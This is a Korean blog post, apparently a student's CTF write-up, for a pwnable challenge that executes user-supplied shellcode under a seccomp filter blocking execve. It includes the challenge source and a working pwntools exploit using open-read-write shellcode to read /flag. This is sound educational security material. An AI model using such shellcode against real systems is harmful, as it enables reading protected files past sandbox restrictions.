Notice
Recent Posts
Recent Comments
Link
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | ||
6 | 7 | 8 | 9 | 10 | 11 | 12 |
13 | 14 | 15 | 16 | 17 | 18 | 19 |
20 | 21 | 22 | 23 | 24 | 25 | 26 |
27 | 28 | 29 | 30 |
Tags
- Python
- 숙명여자대학교 정보보안동아리
- HTML
- 웹페이지 만들기
- 기계학습
- Sookmyung Information Security Study
- 생활코딩
- 머신러닝
- C언어
- hackerrank
- PHP 웹페이지 만들기
- XSS Game
- SWEA
- hackctf
- 백준
- BOJ Python
- lob
- CSS
- Javascript
- c++
- BOJ
- The Loard of BOF
- WarGame
- 풀이
- 파이썬
- 자료구조 복습
- siss
- 숙명여자대학교 정보보안 동아리
- c
- 드림핵
Archives
- Today
- Total
혜랑's STORY
shell 본문
shell.c
// Compile: gcc -o shell_basic shell_basic.c -lseccomp
// apt install seccomp libseccomp-dev
#include <fcntl.h>
#include <seccomp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/prctl.h>
#include <unistd.h>
#include <sys/mman.h>
#include <signal.h>
void banned_execve() {
scmp_filter_ctx ctx;
ctx = seccomp_init(SCMP_ACT_ALLOW);
if (ctx == NULL) {
exit(0);
}
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execveat), 0);
seccomp_load(ctx);
}
void main(int argc, char *argv[]) {
char *shellcode = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
void (*sc)();
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
banned_execve();
read(0, shellcode, 0x1000);
sc = (void *)shellcode;
sc();
}
코드를 자세히 살펴보자.
- banned_execve()
void banned_execve() {
scmp_filter_ctx ctx;
ctx = seccomp_init(SCMP_ACT_ALLOW);
if (ctx == NULL) {
exit(0);
}
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execveat), 0);
seccomp_load(ctx);
}
위 함수로 인해 execve, execvat 시스템 콜을 사용하지 못한다. 따라서 orw로 셸코드를 만들어 해결해야 한다.
먼저 구현하려는 셸코드의 동작을 c언어 형식의 의사코드로 표현하면 다음과 같다.
open("파일 위치")
read('rax', 'rsp', 0x1000)
write(1, 'rsp', 0x1000)
orw 셸코드를 작성하기 위해 pwntools에서 제공하는 제공하는 shellcrafts를 사용할 것이다.
작성한 payload는 다음과 같다.
from pwn import *
#context.log_level = 'debug'
p = process('./shell')
#p = remote('ctf-hackingcamp.com', '14350')
context(arch = 'amd64', os = 'linux')
shellcode = ''
shellcode += shellcraft.open('/flag')
shellcode += shellcraft.read('rax', 'rsp', 100)
shellcode += shellcraft.write(1, 'rsp', 100)
p.sendline(asm(shellcode))
p.interactive()
성공적으로 플래그를 획득하였다.
'무지성 공부방 > Pwnable 문제 만들기' 카테고리의 다른 글
ssmash (0) | 2022.03.01 |
---|---|
Docker-Compose 이용해서 서버에 문제 올리기(다시 쓰기 ㅌㅋㅋㅋㅌㅊㅋ) (0) | 2022.02.07 |